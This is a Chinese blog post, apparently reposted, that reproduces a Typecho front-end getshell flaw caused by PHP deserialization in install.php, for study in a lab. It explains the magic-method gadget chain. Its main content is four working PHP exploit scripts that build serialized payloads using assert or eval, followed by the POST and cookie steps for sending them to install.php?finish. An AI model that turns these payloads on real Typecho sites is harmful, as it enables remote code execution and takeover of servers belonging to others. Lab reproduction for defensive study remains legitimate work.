Typecho反序列化導致前台 getshell 漏洞復現


Typecho反序列化導致前台 getshell 漏洞復現

 

漏洞描述:

Typecho是一款快速建博客的程序,外觀簡潔,應用廣泛。這次的漏洞通過install.php安裝程序頁面的反序列化函數,造成了命令執行。

 

影響范圍:理論上這個漏洞影響Typecho 1.1(15.5.12)之前的版本

 

首先我還是記錄一下敏感目錄

http://127.0.0.1/typecho0.9/install.php

http://127.0.0.1/typecho0.9/install.php?finish&user=admin&password=admin

http://127.0.0.1/typecho0.9/admin/welcome.php

 

使用環境:

Phpstudy+win7虛擬機

Typecho_v1.0.14.tar.gz    https://pan.baidu.com/s/1jHQBKFk      (在里面找相應的名字)

 

漏洞成因:

Freebuf上的文章說的很清楚了,有兩個需要理解的點:

第一個是__toString()魔法方法,在/install.php

__toString() //把類當作字符串使用時觸發

 

這塊利用Typecho_Db函數,跟進這個函數,/var/Typecho/Db.php,發現$adapterName定義的時候拼接了一個字符串,根據文章作者說,PHP是弱類型的語言,把一個字符串和一個類拼接的時候,會強制把類轉換成字符串,所以就會觸發傳進來的這個類的toString方法。

第二個是__get()魔法方法,

__get() //用於從不可訪問的屬性讀取數據

這塊設置author由screenName確定,如果在類里面加上這個方法,我們給$item['author']設置的類中沒有screenName私有屬性就會執行該類的__get()方法。

通過__get()函數返回_applyFilter($value),將可執行代碼賦值給$value觸發漏洞。

 

 

漏洞復現過程:

 

這個漏洞復現就有一點坎坷了,起初我發現typecho里面有歷史版本的下載,於是下載了一個0.9版本的,可是多次嘗試仍以失敗告終,后來在對比漏洞原理的時候,發現與存在漏洞的版本有出入,難不成歷史版本作者也一直在更新。。。好吧,上網找了一個第三方的下了一個1.0.14,在報錯的情況下完成了復現。

 

建站就不多說了,直接安裝沒有問題。安裝成功如圖

 

 

http://www.freebuf.com/vuls/152058.html

這位大牛漏洞原理講的特別詳細,建議看看。

反序列化漏洞要利用勢必離不開魔術方法,作者收集的和PHP反序列化有關的PHP函數:
__wakeup() //使用unserialize時觸發
__sleep() //使用serialize時觸發
__destruct() //對象被銷毀時觸發
__call() //在對象上下文中調用不可訪問的方法時觸發
__callStatic() //在靜態上下文中調用不可訪問的方法時觸發
__get() //用於從不可訪問的屬性讀取數據
__set() //用於將數據寫入不可訪問的屬性
__isset() //在不可訪問的屬性上調用isset()或empty()觸發
__unset() //在不可訪問的屬性上使用unset()時觸發
__toString() //把類當作字符串使用時觸發
__invoke() //當腳本嘗試將對象調用為函數時觸發

 

Freebuf版EXP   http://www.freebuf.com/vuls/152058.html

 

<?php
class Typecho_Feed
{
    const RSS1 = 'RSS 1.0';
    const RSS2 = 'RSS 2.0';
    const ATOM1 = 'ATOM 1.0';
    const DATE_RFC822 = 'r';
    const DATE_W3CDTF = 'c';
    const EOL = "\n";
    private $_type;
    private $_items;

    public function __construct(){
        $this->_type = $this::RSS2;
        $this->_items[0] = array(
            'title' => '1',
            'link' => '1',
            'date' => 1508895132,
            'category' => array(new Typecho_Request()),
            'author' => new Typecho_Request(),
        );
    }
}

class Typecho_Request
{
    private $_params = array();
    private $_filter = array();

    public function __construct(){
        $this->_params['screenName'] = 'phpinfo()';
        $this->_filter[0] = 'assert';
    }
}

$exp = array(
    'adapter' => new Typecho_Feed(),
    'prefix' => 'typecho_'
);

echo base64_encode(serialize($exp));
?>
View Code

 

knownsec版EXP  https://paper.seebug.org/424/

 

<?php
class Typecho_Feed
{
    const RSS1 = 'RSS 1.0';
    const RSS2 = 'RSS 2.0';
    const ATOM1 = 'ATOM 1.0';
    const DATE_RFC822 = 'r';
    const DATE_W3CDTF = 'c';
    const EOL = "\n";
    private $_type;
    private $_items;

    public function __construct(){
        $this->_type = $this::RSS2;
        $this->_items[0] = array(
            'title' => '1',
            'link' => '1',
            'date' => 1508895132,
            'category' => array(new Typecho_Request()),
            'author' => new Typecho_Request(),
        );
    }
}

class Typecho_Request
{
    private $_params = array();
    private $_filter = array();

    public function __construct(){
        $this->_params['screenName'] = 'phpinfo()';
        $this->_filter[0] = 'assert';
    }
}

$exp = array(
    'adapter' => new Typecho_Feed(),
    'prefix' => 'typecho_'
);

echo base64_encode(serialize($exp));


knownsec版EXP  https://paper.seebug.org/424/
<?php
class Typecho_Request
{
    private $_params = array();
    private $_filter = array();

    public function __construct()
    {
        // $this->_params['screenName'] = 'whoami';
        $this->_params['screenName'] = -1;
        $this->_filter[0] = 'phpinfo';
    }
}

class Typecho_Feed
{
    const RSS2 = 'RSS 2.0';
    /** 定義ATOM 1.0類型 */
    const ATOM1 = 'ATOM 1.0';
    /** 定義RSS時間格式 */
    const DATE_RFC822 = 'r';
    /** 定義ATOM時間格式 */
    const DATE_W3CDTF = 'c';
    /** 定義行結束符 */
    const EOL = "\n";
    private $_type;
    private $_items = array();
    public $dateFormat;

    public function __construct()
    {
        $this->_type = self::RSS2;
        $item['link'] = '1';
        $item['title'] = '2';
        $item['date'] = 1507720298;
        $item['author'] = new Typecho_Request();
        $item['category'] = array(new Typecho_Request());

        $this->_items[0] = $item;
    }
}

$x = new Typecho_Feed();
$a = array(
    'host' => 'localhost',
    'user' => 'xxxxxx',
    'charset' => 'utf8',
    'port' => '3306',
    'database' => 'typecho',
    'adapter' => $x,
    'prefix' => 'typecho_'
);
echo urlencode(base64_encode(serialize($a)));
?>
View Code

 

360安全客版EXP  http://bobao.360.cn/learning/detail/4610.html

 

<?php
class Typecho_Request
{
    private $_params = array('screenName'=>'eval(\'phpinfo();exit();\')');
    private $_filter = array('assert');
}
$payload1 = new Typecho_Request();
class Typecho_Feed
{
    private $_type = 'RSS 2.0';
    private $_items;
    public function __construct($x1)
    {
        $this->_items[] = array('author'=>$x1);
    }
}
$payload2 = new Typecho_Feed($payload1);
$exp['adapter'] = $payload2;
$exp['prefix'] = 'c1tas';
echo base64_encode(serialize($exp));
?>
View Code

 

用post提交數據

url:http://192.168.198.128/Typecho1.0/install.php?finish=

Postdata:__typecho_config=前面腳本生成的

Referrer:http://192.168.198.128/Typecho1.0/

 

另一種方式是通過cookie提交

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM